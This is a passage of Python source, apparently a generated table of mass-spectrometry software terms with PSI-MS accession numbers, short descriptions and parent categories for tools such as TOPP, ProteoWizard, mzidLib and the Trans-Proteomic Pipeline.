software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'ClinProTools', u'MS:1000711',\n (u'Bruker ClinProTools software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'CLINPROT robot', u'MS:1000710',\n (u'Bruker CLINPROT robot software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'GENOLINK', u'MS:1000723',\n (u'Bruker GENOLINK software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'GenoTools', u'MS:1000724',\n (u'Bruker GenoTools software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'PolyTools', u'MS:1000727',\n (u'Bruker PolyTools software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'PROTEINEER', u'MS:1000729',\n (u'Bruker PROTEINEER software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'PureDisk', u'MS:1000735',\n (u'BrukerPureDisk software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'PROTEINEER-LC', u'MS:1000733',\n (u'Bruker PROTEINEER-LC software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'PROTEINEER spII', u'MS:1000732',\n (u'Bruker PROTEINEER spII software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'PROTEINEER fc', u'MS:1000731',\n (u'Bruker PROTEINEER fc software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'PROTEINEER dp', u'MS:1000730',\n (u'Bruker PROTEINEER dp software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'WARP-LC', u'MS:1000739',\n (u'Bruker WARP-LC software.'),\n 'software',\n [u'Bruker software', u'quantitation software name', u'software', u'quantification information']),\n SoftwareName(u'TargetAnalysis', u'MS:1000738',\n (u'Bruker TargetAnalysis software.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'HyStar', u'MS:1000817',\n (u'Bruker software for hyphenated experiments.'),\n 'software',\n [u'Bruker software', u'software']),\n SoftwareName(u'Anubis', u'MS:1002410',\n (u'Anubis software for selected reaction monitoring data.\"'\n u'[PSI:PI'),\n 'software',\n [u'SRM software', u'quantitation software name', u'software', u'quantification information']),\n SoftwareName(u'ATAQS', u'MS:1000925',\n (u'Software suite used to predict, select, and optimize'\n u'transitions as well as analyze the results of selected'\n u'reaction monitoring runs developed and distributed by the'\n u'Institute for Systems Biology.'),\n 'software',\n [u'SRM software', u'software']),\n SoftwareName(u'Skyline', u'MS:1000922',\n (u'Software used to predict, select, and optimize transitions'\n u'as well as analyze the results of selected reaction'\n u'monitoring runs developed and distributed by the MacCoss lab'\n u'at the University of Washington.\" [https://brendanx-uw1.gs.w'\n u'ashington.edu/labkey/wiki/home/software/Skyline/page.view?na'\n u'me=defaul'),\n 'software',\n [u'SRM software', u'quantitation software name', u'software', u'quantification information']),\n SoftwareName(u'TIQAM', u'MS:1000923',\n (u'Software used to predict, select, and optimize transitions'\n u'for selected reaction monitoring experiments developed and'\n u'distributed by the Institute for Systems Biology.'),\n 'software',\n [u'SRM software', u'software']),\n SoftwareName(u'MaRiMba', u'MS:1000872',\n (u'Software used to predict transitions for selected reaction'\n u'monitoring experiments based on observed spectrum libraries'\n u'developed and distributed by the Institute for Systems'\n u'Biology.'),\n 'software',\n [u'SRM software', u'software']),\n SoftwareName(u'MRMaid', u'MS:1002220',\n (u'A web-based SRM assay design tool whose transitions are'\n u'generated by mining the millions of identified peptide'\n u\"spectra held in the EBI's PRIDE database.\"),\n 'software',\n [u'SRM software', u'software']),\n SoftwareName(u'SSRCalc', u'MS:1000874',\n (u'Sequence Specific Retention Calculator estimates the'\n u'retention time of peptides based on their sequence.'),\n 'software',\n [u'peptide attribute calculation software', u'software']),\n SoftwareName(u'SILACAnalyzer', u'MS:1001831',\n (u'Software for SILAC workflow.'),\n 'software',\n [u'quantitation software name', u'TOPP software', u'software', u'quantification information', u'analysis software', u'data processing software']),\n SoftwareName(u'Progenesis LC-MS', u'MS:1001830',\n (u'Software from Nonlinear Dynamics for LC-MS label-free'\n u'workflow.'),\n 'software',\n [u'quantitation software name', u'software', u'quantification information']),\n SoftwareName(u'FindPairs', u'MS:1002063',\n (u'Software e.g. for SILAC and 14N/15N workflow, part of the'\n u'PeakQuant suite.'),\n 'software',\n [u'quantitation software name', u'software', u'quantification information']),\n SoftwareName(u'Microsoft Excel', u'MS:1002059',\n (u'Microsoft Excel (can be used for spectral counting).'),\n 'software',\n [u'quantitation software name', u'software', u'quantification information']),\n SoftwareName(u'ProteoSuite', u'MS:1002124',\n (u'ProteoSuite software for the analysis of quantitative'\n u'proteomics data.\" [DOI:10.1089/omi.2012.0022, PMID:22804616'),\n 'software',\n [u'quantitation software name', u'software', u'quantification information']),\n SoftwareName(u'x-Tracker', u'MS:1002123',\n (u'X-Tracker generic tool for quantitative proteomics.'),\n 'software',\n [u'quantitation software name', u'software', u'quantification information']),\n SoftwareName(u'ITRAQAnalyzer', u'MS:1002129',\n (u'Software for iTRAQ workflow. Extracts and normalizes iTRAQ'\n u'information from an MS experiment.'),\n 'software',\n [u'quantitation software name', u'TOPP software', u'software', u'quantification information', u'analysis software', u'data processing software']),\n SoftwareName(u'MALDI Solutions Microbial Identification', u'MS:1001878',\n (u'Shimadzu Biotech software for data acquisition, processing,'\n u'and analysis.'),\n 'software',\n [u'MALDI Solutions', u'acquisition software', u'analysis software', u'data processing software', u'Shimadzu Corporation software', u'software']),\n SoftwareName(u'PRIDE Converter2', u'MS:1002335',\n (u'Java software designed to convert one of several proteomics'\n u'identification results formats into PRIDE XML.'),\n 'software',\n [u'conversion software', u'data processing software', u'software']),\n SoftwareName(u'ProCon', u'MS:1002334',\n (u'Java software designed to convert one of several proteomics'\n u'identification results formats into mzIdentML or PRIDE XML.\"'\n u'[PSI:PI'),\n 'software',\n [u'conversion software', u'data processing software', u'software']),\n SoftwareName(u'python-psims', u'MS:1002991',\n (u'python-psims, a library for generating mzML and mzIdentML.'),\n 'software',\n [u'conversion software', u'data processing software', u'software']),\n SoftwareName(u'TOPP noise filter', u'MS:1002131',\n (u'Noise filter component of the TOPP software.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP spectra filter', u'MS:1002137',\n (u'Spectra filter component of the TOPP software.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP peak picker', u'MS:1002134',\n (u'Peak picker component of the TOPP software.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP map aligner', u'MS:1002147',\n (u'Map aligner component of the TOPP software.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP MassTraceExtractor', u'MS:1002159',\n (u'Annotates mass traces in centroided LC/MS maps.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP MzTabExporter', u'MS:1002158',\n (u'Exports various XML formats to an mzTab file.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP IDMerger', u'MS:1002155',\n (u'Merges several protein/peptide identification files into one'\n u'file.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP DTAExtractor', u'MS:1002154',\n (u'Extracts spectra of an MS run file to several files in DTA'\n u'format.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP SpectraMerger', u'MS:1002157',\n (u'Merges spectra from an LC/MS map, either by precursor or by'\n u'RT blocks.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP IDFileConverter', u'MS:1002156',\n (u'Converts identification engine file formats.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP PrecursorMassCorrector', u'MS:1002160',\n (u'Correct the precursor entries of tandem MS scans.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP HighResPrecursorMassCorrector', u'MS:1002161',\n (u'Performs precursor mz correction on centroided high'\n u'resolution data.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP AdditiveSeries', u'MS:1002162',\n (u'Computes an additive series to quantify a peptide in a set'\n u'of samples.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP Decharger', u'MS:1002163',\n (u'Decharges and merges different feature charge variants of'\n u'the same chemical entity.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP EICExtractor', u'MS:1002164',\n (u'Quantifies signals at given positions in (raw or picked)'\n u'LC/MS maps.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP feature finder', u'MS:1002165',\n (u'Feature finder component of the TOPP software.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP ConsensusID', u'MS:1002188',\n (u'Computes a consensus identification from peptide'\n u'identifications of several identification engines.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP IDConflictResolver', u'MS:1002189',\n (u'Resolves ambiguous annotations of features with peptide'\n u'identifications.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP software adaptor', u'MS:1002180',\n (u'Software adaptor to an external program in the TOPP'\n u'software.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP SpecLibSearcher', u'MS:1002187',\n (u'Identifies peptide MS2 spectra by spectral matching with a'\n u'searchable spectral library.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP feature linker', u'MS:1002174',\n (u'Feature linker component of the TOPP software.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP MapRTTransformer', u'MS:1002173',\n (u'Applies retention time transformations to maps.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP ConsensusMapNormalizer', u'MS:1002172',\n (u'Normalizes maps of one consensus XML file (after linking).'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP ProteinQuantifier', u'MS:1002171',\n (u'Computes protein abundances from annotated feature/consensus'\n u'maps.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP CompNovoCID', u'MS:1002179',\n (u'Performs a peptide/protein identification with the CompNovo'\n u'engine in collision-induced dissociation (CID) mode.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP CompNovo', u'MS:1002178',\n (u'Performs a peptide/protein identification with the CompNovo'\n u'engine.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP ProteinInference', u'MS:1002203',\n (u'Infer proteins from a list of (high-confidence) peptides.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP FalseDiscoveryRate', u'MS:1002204',\n (u'Estimates the false discovery rate on peptide and protein'\n u'level using decoy searches.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP IDMapper', u'MS:1002191',\n (u'Assigns protein/peptide identifications to feature or'\n u'consensus features.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP IDFilter', u'MS:1002190',\n (u'Filters results from protein or peptide identification'\n u'engines based on different criteria.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP IDRTCalibration', u'MS:1002193',\n (u'Calibrate Retention times of peptide hits to standards.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP IDPosteriorErrorProbability', u'MS:1002192',\n (u'Estimates posterior error probabilities using a mixture'\n u'model.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP PrecursorIonSelector', u'MS:1002195',\n (u'A tool for precursor ion selection based on identification'\n u'results.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP PeptideIndexer', u'MS:1002194',\n (u'Refreshes the protein references for all peptide hits.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP OpenSwath component', u'MS:1002197',\n (u'OpenSwath component of the TOPP software.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP MRMMapper', u'MS:1002196',\n (u'MRMMapper maps measured chromatograms (mzML) and the'\n u'transitions used (TraML).'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'OpenXQuest', u'MS:1002673',\n (u'Cross-Linking MS search engine.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'BaselineFilter', u'MS:1000753',\n (u'Removes the baseline from profile spectra using a top-hat'\n u'filter.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'DBImporter', u'MS:1000755',\n (u'Imports data to an OpenMS database.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'DBExporter', u'MS:1000754',\n (u'Exports data from an OpenMS database to a file.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'FileFilter', u'MS:1000757',\n (u'Extracts or manipulates portions of data from peak, feature'\n u'or consensus feature files.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'FileConverter', u'MS:1000756',\n (u'Converts between different MS file formats.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'InternalCalibration', u'MS:1000759',\n (u'Applies an internal calibration.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'FileMerger', u'MS:1000758',\n (u'Merges several MS files into one file.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Resampler', u'MS:1000764',\n (u'Transforms an LC/MS map into a resampled map or a png image.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'SpectraFilter', u'MS:1000765',\n (u'OBSOLETE Applies a filter to peak spectra.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOFCalibration', u'MS:1000766',\n (u'Applies time of flight calibration.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MapAligner', u'MS:1000760',\n (u'OBSOLETE Corrects retention time distortions between maps.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MapNormalizer', u'MS:1000761',\n (u'Normalizes peak intensities in an MS run.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'NoiseFilter', u'MS:1000762',\n (u'OBSOLETE Removes noise from profile spectra by using'\n u'different smoothing techniques.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'PeakPicker', u'MS:1000763',\n (u'OBSOLETE Finds mass spectrometric peaks in profile mass'\n u'spectra.'),\n 'software',\n [u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'ProteoWizard SeeMS', u'MS:1002209',\n (u'An interactive GUI application to view and filter mass'\n u'spectrometry data in a variety of formats.'),\n 'software',\n [u'ProteoWizard software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'ProteoWizard msaccess', u'MS:1002208',\n (u'Filters, processes, and displays mass spectrometry data in a'\n u'variety of ways.'),\n 'software',\n [u'ProteoWizard software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'ProteoWizard msconvert', u'MS:1002205',\n (u'Converts, filters, and processes mass spectrometry data in'\n u'variety of formats.'),\n 'software',\n [u'ProteoWizard software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'ProteoWizard chainsaw', u'MS:1002207',\n (u'Filters and processes protein sequence databases.'),\n 'software',\n [u'ProteoWizard software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'ProteoWizard idconvert', u'MS:1002206',\n (u'Converts, filters, and processes identifications from'\n u'shotgun proteomics experiments.'),\n 'software',\n [u'ProteoWizard software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'mzidLib:Omssa2Mzid', u'MS:1002238',\n (u'A converter for OMSSA OMX to mzIdentML.'),\n 'software',\n [u'mzidLib', u'analysis software', u'software']),\n SoftwareName(u'mzidLib:Tandem2Mzid', u'MS:1002239',\n (u'A converter for Tandem XML to mzIdentML.'),\n 'software',\n [u'mzidLib', u'analysis software', u'software']),\n SoftwareName(u'mzidLib:Csv2Mzid', u'MS:1002240',\n (u'A converter for CSV files (following OMSSA CSV style) to'\n u'mzIdentML.'),\n 'software',\n [u'mzidLib', u'analysis software', u'software']),\n SoftwareName(u'mzidLib:Mzidentml2Csv', u'MS:1002245',\n (u'A tool for converting mzIdentML files to CSV format.'),\n 'software',\n [u'mzidLib', u'analysis software', u'software']),\n SoftwareName(u'mzidLib:FalseDiscoveryRate', u'MS:1002244',\n (u'A routine for calculating local FDR, q-value and FDRScore'\n u'for mzIdentML files, based on a decoy search.'),\n 'software',\n [u'mzidLib', u'analysis software', u'software']),\n SoftwareName(u'mzidLib:InsertMetaDataFromFasta', u'MS:1002247',\n (u'A tool for adding additional meta data from a FASTA file to'\n u'DBSequence entries (sequence and description) in mzIdentML'\n u'files.'),\n 'software',\n [u'mzidLib', u'analysis software', u'software']),\n SoftwareName(u'mzidLib:CombineSearchEngines', u'MS:1002246',\n (u'A tool for combining results analysed in parallel in two or'\n u'three search engines into a single mzIdentML file.'),\n 'software',\n [u'mzidLib', u'analysis software', u'software']),\n SoftwareName(u'mzidLib:ProteoGrouper', u'MS:1002241',\n (u'A generic and parameterizable protein inference algorithm'\n u'for mzIdentML files.'),\n 'software',\n [u'mzidLib', u'analysis software', u'software']),\n SoftwareName(u'mzidLib:Perform emPAI on mzid', u'MS:1002243',\n (u'A routine for adding emPAI quantitative values to an'\n u'mzIdentML file.'),\n 'software',\n [u'mzidLib', u'analysis software', u'software']),\n SoftwareName(u'mzidLib:Thresholder', u'MS:1002242',\n (u'A routine for keeping only identifications passing a given'\n u'threshold or setting passThreshold to true or false for'\n u'SpectrumIdentificationItem or ProteinDetectionHypothesis in'\n u'mzIdentML files.'),\n 'software',\n [u'mzidLib', u'analysis software', u'software']),\n SoftwareName(u'lipidomics analysis software', u'MS:1002964',\n (u'Lipidomics analysis software.'),\n 'software',\n [u'small molecule analysis software', u'analysis software', u'software']),\n SoftwareName(u'Progenesis QI', u'MS:1002879',\n (u'Metabolomics analysis software for LC-MS data from Nonlinear'\n u'Dynamics.'),\n 'software',\n [u'small molecule analysis software', u'analysis software', u'software']),\n SoftwareName(u'MyCompoundID', u'MS:1002881',\n (u'Metabolite identification tool MyCompoundID.\" [PSI:PI'),\n 'software',\n [u'small molecule analysis software', u'analysis software', u'software']),\n SoftwareName(u'Compound Discoverer', u'MS:1002880',\n (u'Metabolomics analysis software from Thermo Fisher'\n u'Scientific.'),\n 'software',\n [u'small molecule analysis software', u'analysis software', u'software']),\n SoftwareName(u'ASAPRatio', u'MS:1002574',\n (u'A program in the TPP that calculates PSM, peptide, and'\n u'protein-level abundances based on 2-channel isotope-labelled'\n u'data such as ICAT, SILAC, etc.'),\n 'software',\n [u'Trans-Proteomic Pipeline software', u'analysis software', u'software']),\n SoftwareName(u'PTMProphet', u'MS:1002292',\n (u'A program in the TPP that calculates PTM localization'\n u'probabilities by re-analyzing the peaks that are available'\n u'to distinguish between possible modification sites.'),\n 'software',\n [u'Trans-Proteomic Pipeline software', u'analysis software', u'software']),\n SoftwareName(u'XPRESS', u'MS:1002290',\n (u'A program in the TPP that calculates PSM-level abundances'\n u'based on 2-channel isotope-labelled data such as ICAT,'\n u'SILAC, etc.'),\n 'software',\n [u'Trans-Proteomic Pipeline software', u'analysis software', u'software']),\n SoftwareName(u'Libra', u'MS:1002291',\n (u'A program in the TPP that calculates PSM, peptide, and'\n u'protein-level abundances based on N-channel isobaric label'\n u'peptide data such as iTRAQ, TMT, etc.'),\n 'software',\n [u'Trans-Proteomic Pipeline software', u'analysis software', u'software']),\n SoftwareName(u'PeptideProphet', u'MS:1002287',\n (u'A program in the TPP that calculates PSM probabilities for'\n u'MS2 proteomics data searched with any of the supported'\n u'sequence or spectral library search engines via the pepXML'\n u'format.\" [PMID:12403597'),\n 'software',\n [u'Trans-Proteomic Pipeline software', u'analysis software', u'software']),\n SoftwareName(u'ProteinProphet', u'MS:1002289',\n (u'A program in the TPP that calculates protein-level'\n u'probabilities based on input PSM or peptide-level'\n u'probabilities from PeptideProphet or iProphet. The output is'\n u'written in the protXML format.'),\n 'software',\n [u'Trans-Proteomic Pipeline software', u'analysis software', u'software']),\n SoftwareName(u'iProphet', u'MS:1002288',\n (u'A program in the TPP that calculates distinct peptide'\n u'probabilities based on several lines of corroborating'\n u'evidence including search results from multiple search'\n u'engines via the pepXML format.'),\n 'software',\n [u'Trans-Proteomic Pipeline software', u'analysis software', u'software']),\n SoftwareName(u'TOPP NoiseFilterSGolay', u'MS:1002133',\n (u'Removes noise from profile spectra by using a Savitzky-Golay'\n u'smoothing.'),\n 'software',\n [u'TOPP noise filter', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP NoiseFilterGaussian', u'MS:1002132',\n (u'Removes noise from profile spectra by using a gaussian'\n u'smoothing.'),\n 'software',\n [u'TOPP noise filter', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP SpectraFilterMarkerMower', u'MS:1002139',\n (u'Applies a filter to peak spectra for marked peaks.'),\n 'software',\n [u'TOPP spectra filter', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP SpectraFilterBernNorm', u'MS:1002138',\n (u'Applies a Bern et al normalization to peak spectra.\"'\n u'[PMID:15262780'),\n 'software',\n [u'TOPP spectra filter', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP SpectraFilterWindowMower', u'MS:1002146',\n (u'Applies a filter of the largest peaks in a sliding window'\n u'over a peak spectrum.'),\n 'software',\n [u'TOPP spectra filter', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP SpectraFilterSqrtMower', u'MS:1002144',\n (u'Applies a filter to peak spectra after intensity scaling to'\n u'the square root.'),\n 'software',\n [u'TOPP spectra filter', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP SpectraFilterThresholdMower', u'MS:1002145',\n (u'Applies a filter of peaks below a given threshold to peak'\n u'spectra.'),\n 'software',\n [u'TOPP spectra filter', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP SpectraFilterParentPeakMower', u'MS:1002142',\n (u'Filters putative unfragmented precursor ions from tandem'\n u'spectra.'),\n 'software',\n [u'TOPP spectra filter', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP SpectraFilterScaler', u'MS:1002143',\n (u'Applies a filter to peak spectra after intensity scaling'\n u'according to rank.'),\n 'software',\n [u'TOPP spectra filter', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP SpectraFilterNLargest', u'MS:1002140',\n (u'Retains the n largest peaks of a peak spectra.'),\n 'software',\n [u'TOPP spectra filter', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP SpectraFilterNormalizer', u'MS:1002141',\n (u'Applies a TIC/maximal intensity normalization to peak'\n u'spectra.'),\n 'software',\n [u'TOPP spectra filter', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP PeakPickerWavelet', u'MS:1002136',\n (u'Finds mass spectrometric peaks with a wavelet algorithm in'\n u'low-resoluted profile mass spectra.'),\n 'software',\n [u'TOPP peak picker', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP PeakPickerHiRes', u'MS:1002135',\n (u'Finds mass spectrometric peaks in high-resoluted profile'\n u'mass spectra.'),\n 'software',\n [u'TOPP peak picker', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP MapAlignerIdentification', u'MS:1002148',\n (u'Corrects retention time distortions between maps based on'\n u'common peptide identifications.'),\n 'software',\n [u'TOPP map aligner', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP MapAlignerPoseClustering', u'MS:1002149',\n (u'Corrects retention time distortions between maps using a'\n u'pose clustering approach.'),\n 'software',\n [u'TOPP map aligner', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP MapAlignerSpectrum', u'MS:1002150',\n (u'Corrects retention time distortions between maps by spectrum'\n u'alignment.'),\n 'software',\n [u'TOPP map aligner', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP FeatureFinderCentroided', u'MS:1002166',\n (u'Detects two-dimensional features in centroided LC-MS data.'),\n 'software',\n [u'TOPP feature finder', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP FeatureFinderRaw', u'MS:1002167',\n (u'Detects two-dimensional features in uncentroided LC-MS data.'),\n 'software',\n [u'TOPP feature finder', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP FeatureFinderIsotopeWavelet', u'MS:1002168',\n (u'Detects two-dimensional features in uncentroided LC-MS data'\n u'with a wavelet algorithm.'),\n 'software',\n [u'TOPP feature finder', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP FeatureFinderMetabo', u'MS:1002169',\n (u'Detects two-dimensional features in centroided LC-MS data of'\n u'metabolites.'),\n 'software',\n [u'TOPP feature finder', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP FeatureFinderMRM', u'MS:1002170',\n (u'Quantifies features LC-MS/MS MRM data.'),\n 'software',\n [u'TOPP feature finder', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP MascotAdapter', u'MS:1002182',\n (u'Identifies MS2 spectra using the external program Mascot.'),\n 'software',\n [u'TOPP software adaptor', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP MascotAdapterOnline', u'MS:1002183',\n (u'Identifies MS2 spectra using the online version of the'\n u'external program Mascot.'),\n 'software',\n [u'TOPP software adaptor', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP InspectAdapter', u'MS:1002181',\n (u'Identifies MS2 spectra using the external program Inspect.'),\n 'software',\n [u'TOPP software adaptor', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP XTandemAdapter', u'MS:1002186',\n (u'Identifies MS2 spectra using the external program XTandem.'),\n 'software',\n [u'TOPP software adaptor', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP OMSSAAdapter', u'MS:1002184',\n (u'Identifies MS2 spectra using the external program OMSSA.'),\n 'software',\n [u'TOPP software adaptor', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP PepNovoAdapter', u'MS:1002185',\n (u'Identifies MS2 spectra using the external program PepNovo.'),\n 'software',\n [u'TOPP software adaptor', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP FeatureLinkerUnlabeledQT', u'MS:1002177',\n (u'Groups corresponding features from multiple maps using a'\n u'quality threshold clustering approach.'),\n 'software',\n [u'TOPP feature linker', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP FeatureLinkerUnlabeled', u'MS:1002176',\n (u'Groups corresponding features from multiple maps.'),\n 'software',\n [u'TOPP feature linker', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP FeatureLinkerLabeled', u'MS:1002175',\n (u'Groups corresponding isotope-labeled features in a feature'\n u'map.'),\n 'software',\n [u'TOPP feature linker', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP OpenSwathFeatureXMLToTSV', u'MS:1002201',\n (u'Converts a featureXML to a mProphet tsv (tab separated'\n u'values).'),\n 'software',\n [u'TOPP OpenSwath component', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP OpenSwathDecoyGenerator', u'MS:1002200',\n (u'Generates decoys according to different models for a'\n u'specific TraML.'),\n 'software',\n [u'TOPP OpenSwath component', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP OpenSwathRTNormalizer', u'MS:1002202',\n (u'Generates a transformation file for retention time space'\n u'into normalized space.'),\n 'software',\n [u'TOPP OpenSwath component', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP OpenSwathChromatogramExtractor', u'MS:1002199',\n (u'Extract chromatograms (XIC) from a MS2 map file.'),\n 'software',\n [u'TOPP OpenSwath component', u'TOPP software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP OpenSwathAnalyzer', u'MS:1002198',\n (u'Picks peaks and finds features in an SRM experiment.'),\n 'software',\n [u'TOPP OpenSwath component', 